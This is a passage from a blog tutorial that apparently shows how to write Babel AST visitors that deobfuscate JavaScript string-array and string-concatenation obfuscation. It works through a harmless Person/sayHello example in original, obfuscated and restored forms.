class="hljs-keyword">return</span>;<br><br> <span class="hljs-keyword">const</span> { constant, referencePaths } = binding;<br><br> <span class="hljs-comment">// This wouldn't be safe if the array was not constant.</span><br> <span class="hljs-keyword">if</span> (!constant) <span class="hljs-keyword">return</span>;<br> <span class="hljs-comment">// This decides if we can remove the array or not.</span><br> <span class="hljs-comment">// If there are any references to the array that cannot be replaced, it is unsafe to remove the original VariableDeclaration.</span><br> <span class="hljs-keyword">let</span> shouldRemove = <span class="hljs-literal">true</span>;<br><br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> referencePath <span class="hljs-keyword">of</span> referencePaths) {<br> <span class="hljs-keyword">const</span> { <span class="hljs-attr">parentPath</span>: refParentPath } = referencePath;<br> <span class="hljs-keyword">const</span> { object, computed, property } = refParentPath.<span class="hljs-property">node</span>;<br> <span class="hljs-comment">// Criteria to be a valid path for replacement:</span><br> <span class="hljs-comment">// The refParent must be of type MemberExpression</span><br> <span class="hljs-comment">// The "object" field of the refParent must be a reference to the array (the original referencePath)</span><br> <span class="hljs-comment">// The "computed" field of the refParent must be true (indicating use of bracket notation)</span><br> <span class="hljs-comment">// The "property" field of the refParent must be a numeric literal, so we can access the corresponding element of the array by index.</span><br> <span class="hljs-keyword">if</span> (<br> !(<br> t.<span class="hljs-title function_">isMemberExpression</span>(refParentPath.<span class="hljs-property">node</span>) &&<br> object == referencePath.<span class="hljs-property">node</span> &&<br> computed == <span class="hljs-literal">true</span> &&<br> t.<span class="hljs-title function_">isNumericLiteral</span>(property)<br> )<br> ) {<br> <span class="hljs-comment">// If the above conditions aren't met, we've run into a reference that can't be replaced.</span><br> <span class="hljs-comment">// Therefore, it'd be unsafe to remove the original variable declaration, since it will still be referenced after our transformation has completed.</span><br> shouldRemove = <span class="hljs-literal">false</span>;<br> <span class="hljs-keyword">continue</span>;<br> }<br><br> <span class="hljs-comment">// If the above conditions are met:</span><br><br> <span class="hljs-comment">// Replace the parentPath of the referencePath (the actual MemberExpression) with it's actual value.</span><br><br> refParentPath.<span class="hljs-title function_">replaceWith</span>(stringArrayElements[property.<span class="hljs-property">value</span>]);<br> }<br><br> <span class="hljs-keyword">if</span> (shouldRemove) path.<span class="hljs-title function_">remove</span>();<br> },<br> };<br><br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, deobfuscateStringArrayVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./stringArrayObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br><br><br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result-1"><a href="#Post-Deobfuscation-Result-1" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"name"</span>] = name;<br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"school"</span>] = school;<br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"favAnimal"</span>] = animal;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement = <span class="hljs-string">"Hello, my name is "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"name"</span>] + <span class="hljs-string">". I go to "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"school"</span>] + <span class="hljs-string">" and my favourite animal is a "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"favAnimal"</span>];<br> <span class="hljs-variable language_">console</span>[<span class="hljs-string">"log"</span>](helloStatement);<br> }<br><br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"Penguin"</span>);<br>examplePerson[<span class="hljs-string">"sayHello"</span>]();<br></code></pre></td></tr></table></figure><p>The strings are now deobfuscated, and the code becomes much easier to read.</p><h2 id="Example-3-String-Concatenation"><a href="#Example-3-String-Concatenation" class="headerlink" title="Example #3: String Concatenation"></a>Example #3: String Concatenation</h2><p>This type of obfuscation, in its most basic form, takes a string such as the following:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> myString = <span class="hljs-string">"Hello World"</span>;<br></code></pre></td></tr></table></figure><p>And splits it into multiple parts:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> myString = <span class="hljs-string">"He"</span> + <span class="hljs-string">"l"</span> + <span class="hljs-string">"l"</span> + <span class="hljs-string">"o W"</span> + <span class="hljs-string">"o"</span> + <span class="hljs-string">"rl"</span> + <span class="hljs-string">"d"</span>; <span class="hljs-comment">// => Hello World</span><br></code></pre></td></tr></table></figure><p>You might be thinking, “Hey, the obfuscated version doesn’t look that bad”, and you’d be right. However, keep in mind that a file will typically have a lot more obfuscation layered on top. An example using the techniques already covered above could look something like this (or likely more advanced):</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">var</span> _0xba8a = [<span class="hljs-string">"\x48\x65"</span>, <span class="hljs-string">"\x6C"</span>, <span class="hljs-string">"\x6F\x20\x57"</span>, <span class="hljs-string">"\x6F"</span>, <span class="hljs-string">"\x72\x6C"</span>, <span class="hljs-string">"\x64"</span>]; <span class="hljs-comment">//Encoded string array</span><br><span class="hljs-keyword">let</span> myString =<br> _0xba8a[<span class="hljs-number">0</span>] +<br> _0xba8a[<span class="hljs-number">1</span>] +<br> _0xba8a[<span class="hljs-number">1</span>] +<br> _0xba8a[<span class="hljs-number">2</span>] +<br> _0xba8a[<span class="hljs-number">3</span>] +<br> _0xba8a[<span class="hljs-number">4</span>] +<br> _0xba8a[<span class="hljs-number">5</span>]; <span class="hljs-comment">// string concatenation</span><br></code></pre></td></tr></table></figure><p>The following analysis will only cover the most basic case from the first example I showed you. Traditionally, a file’s obfuscation layers are peeled back one at a time. Your goal as a reverse engineer would be to make transformations to the code such that it looks like the basic case and <em>only then</em> apply this analysis.</p><h3 id="Original-Source-Code-2"><a href="#Original-Source-Code-2" class="headerlink" title="Original Source Code"></a>Original Source Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "Input.js"</span><br><span class="hljs-comment"> * Original, unobfuscated code.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = animal;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite animal is a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"DOGGO"</span>);<br><br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br><br></code></pre></td></tr></table></figure><h3 id="Post-Obfuscation-Code-2"><a href="#Post-Obfuscation-Code-2" class="headerlink" title="Post-Obfuscation Code"></a>Post-Obfuscation Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "stringConcatenationObfuscated.js"</span><br><span class="hljs-comment"> * This is the resulting code after obfuscation.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = emoji;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I g"</span> + <span class="hljs-string">"o t"</span>+ <span class="hljs-string">"o "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" an"</span> + <span class="hljs-string">"d "</span>+ <span class="hljs-string">"m"</span>+<span class="hljs-string">"y"</span>+ <span class="hljs-string">" fa"</span>+<span class="hljs-string">"vo"</span>+<span class="hljs-string">"ur"</span>+<span class="hljs-string">"ite"</span> +<span class="hljs-string">" ani"</span>+<span class="hljs-string">"ma"</span>+<span class="hljs-string">"l"</span> +<span class="hljs-string">" is"</span> + <span class="hljs-string">" a "</span>+<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"D"</span>+<span class="hljs-string">"a"</span>+<span class="hljs-string">"vi"</span>+<span class="hljs-string">"d"</span>, <span class="hljs-string">"Un"</span>+<span class="hljs-string">"ive"</span>+<span class="hljs-string">"rsi"</span>+<span class="hljs-string">"ty"</span>+ <span class="hljs-string">" o"</span>+<span class="hljs-string">"f "</span> + <span class="hljs-string">"Ob"</span>+<span class="hljs-string">"fus"</span>+<span class="hljs-string">"cat"</span>+<span class="hljs-string">"ion"</span>, <span class="hljs-string">"D"</span>+<span class="hljs-string">"O"</span>+<span class="hljs-string">"G"</span>+<span class="hljs-string">"G"</span>+<span class="hljs-string">"O"</span>);<br><br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br><br></code></pre></td></tr></table></figure><h3 id="Analysis-Methodology-2"><a href="#Analysis-Methodology-2" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>Let’s paste our obfuscated code into <a href="https://astexplorer.net/">AST Explorer</a>.</p><p><img src="/../images/stringconcat1.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>Our targets of interest here are all of the strings being concatenated. Let’s click on one of them to take a closer look at one of the nodes of interest.</p><p><img src="/../images/stringconcat2.PNG" alt="A closer look at one of the nodes of interest"></p><p>We can make the following observations from the AST structure:</p><ol><li>We can see that each individual substring is of type <em>StringLiteral</em>.</li><li>More importantly, the string literals seem to be contained in multiple nested <em>BinaryExpressions</em>.</li></ol><p>So how could we go about solving this?</p><p>There are a few ways to do this. One would be to work up recursively from the right-most <em>StringLiteral</em> node in the binary expression and manually concatenate the string at each step. However, there’s a much simpler way to accomplish the same thing using Babel’s inbuilt <em>path.evaluate()</em> function. The steps for coding the deobfuscator are included below:</p><ol><li>Traverse through the AST to search for BinaryExpressions</li><li>If a BinaryExpression is encountered, try to evaluate it using path.evaluate().</li><li>If path.evaluate returns <em>confident:true</em>, check if the evaluated value is a <em>StringLiteral</em>. If either condition is false, return.</li><li>Replace the BinaryExpression node with the computed value as a <em>StringLiteral</em>, stored in <em>value</em>.</li></ol><p>The babel implementation is shown below:</p><h3 id="Babel-Deobfuscation-Script-2"><a href="#Babel-Deobfuscation-Script-2" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-keyword">const</span> deobfuscateStringConcatVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-keyword">let</span> { confident, value } = path.evaluate(); <span class="hljs-comment">// Evaluate the binary expression</span><br> <span class="hljs-keyword">if</span> (!confident) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not confident</span><br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> value == <span class="hljs-string">"string"</span>) {<br> path.<span class="hljs-title function_">replaceWith</span>(t.<span class="hljs-title function_">stringLiteral</span>(value)); <span class="hljs-comment">// Substitute the simplified value</span><br> }<br> },<br> };<br><br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, deobfuscateStringConcatVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./stringConcatenationObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br><br><br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result-2"><a href="#Post-Deobfuscation-Result-2" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = emoji;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement = <span class="hljs-string">"Hello, my name is "</span> + <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> + <span class="hljs-string">". I g"</span> + <span class="hljs-string">"o t"</span> + <span class="hljs-string">"o "</span> + <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> + <span class="hljs-string">" an"</span> + <span class="hljs-string">"d "</span> + <span class="hljs-string">"m"</span> + <span class="hljs-string">"y"</span> + <span class="hljs-string">" fa"</span> + <span class="hljs-string">"vo"</span> + <span class="hljs-string">"ur"</span> + <span class="hljs-string">"ite"</span> + <span class="hljs-string">" ani"</span> + <span class="hljs-string">"ma"</span> + <span class="hljs-string">"l"</span> + <span class="hljs-string">" is"</span> + <span class="hljs-string">" a "</span> + <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br><br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"DOGGO"</span>);<br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br><br></code></pre></td></tr></table></figure><p>But hold on, that looks only <strong><em>partly deobfuscated</em></strong>!</p><h3 id="A-Minor-Complication"><a href="#A-Minor-Complication" class="headerlink" title="A Minor Complication"></a>A Minor Complication</h3><p>Okay, I may have lied to you a bit. The example I gave you actually contains two cases. The simplest case with ONLY string literals:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<br> <span class="hljs-string">"D"</span> + <span class="hljs-string">"a"</span> + <span class="hljs-string">"vi"</span> + <span class="hljs-string">"d"</span>,<br> <span class="hljs-string">"Un"</span> + <span class="hljs-string">"ive"</span> + <span class="hljs-string">"rsi"</span> + <span class="hljs-string">"ty"</span> + <span class="hljs-string">" o"</span> + <span class="hljs-string">"f "</span> + <span class="hljs-string">"Ob"</span> + <span class="hljs-string">"fus"</span> + <span class="hljs-string">"cat"</span> + <span class="hljs-string">"ion"</span>,<br> <span class="hljs-string">"D"</span> + <span class="hljs-string">"O"</span> + <span class="hljs-string">"G"</span> + <span class="hljs-string">"G"</span> + <span class="hljs-string">"O"</span><br>);<br></code></pre></td></tr></table></figure><p>And the bit more advanced case, where string literals are mixed with non-string literals (in this case, variables):</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I g"</span> +<br> <span class="hljs-string">"o t"</span> +<br> <span class="hljs-string">"o "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" an"</span> +<br> <span class="hljs-string">"d "</span> +<br> <span class="hljs-string">"m"</span> +<br> <span class="hljs-string">"y"</span> +<br> <span class="hljs-string">" fa"</span> +<br> <span class="hljs-string">"vo"</span> +<br> <span class="hljs-string">"ur"</span> +<br> <span class="hljs-string">"ite"</span> +<br> <span class="hljs-string">" ani"</span> +<br> <span class="hljs-string">"ma"</span> +<br> <span class="hljs-string">"l"</span> +<br> <span class="hljs-string">" is"</span> +<br> <span class="hljs-string">" a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br></code></pre></td></tr></table></figure><p>The above algorithm will not work for the second case as is. However, there’s a simple remedy. Simply edit the obfuscated file to wrap consecutive strings in brackets like so:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> (<span class="hljs-string">". I g"</span> + <span class="hljs-string">"o t"</span> + <span class="hljs-string">"o "</span>) +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> (<span class="hljs-string">" an"</span> +<br> <span class="hljs-string">"d "</span> +<br> <span class="hljs-string">"m"</span> +<br> <span class="hljs-string">"y"</span> +<br> <span class="hljs-string">" fa"</span> +<br> <span class="hljs-string">"vo"</span> +<br> <span class="hljs-string">"ur"</span> +<br> <span class="hljs-string">"ite"</span> +<br> <span class="hljs-string">" ani"</span> +<br> <span class="hljs-string">"ma"</span> +<br> <span class="hljs-string">"l"</span> +<br> <span class="hljs-string">" is"</span> +<br> <span class="hljs-string">" a "</span>) +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br></code></pre></td></tr></table></figure><p>And our deobfuscator will output our desired result:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite animal is a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br></code></pre></td></tr></table></figure><p>I’m sure some of you might be wondering why the algorithm doesn’t work without manually adding the brackets. This is outside of the scope of this article. However, if you’re interested in the reason for this intricacy and an algorithm that simplifies it <em><strong>without needing to manually add the 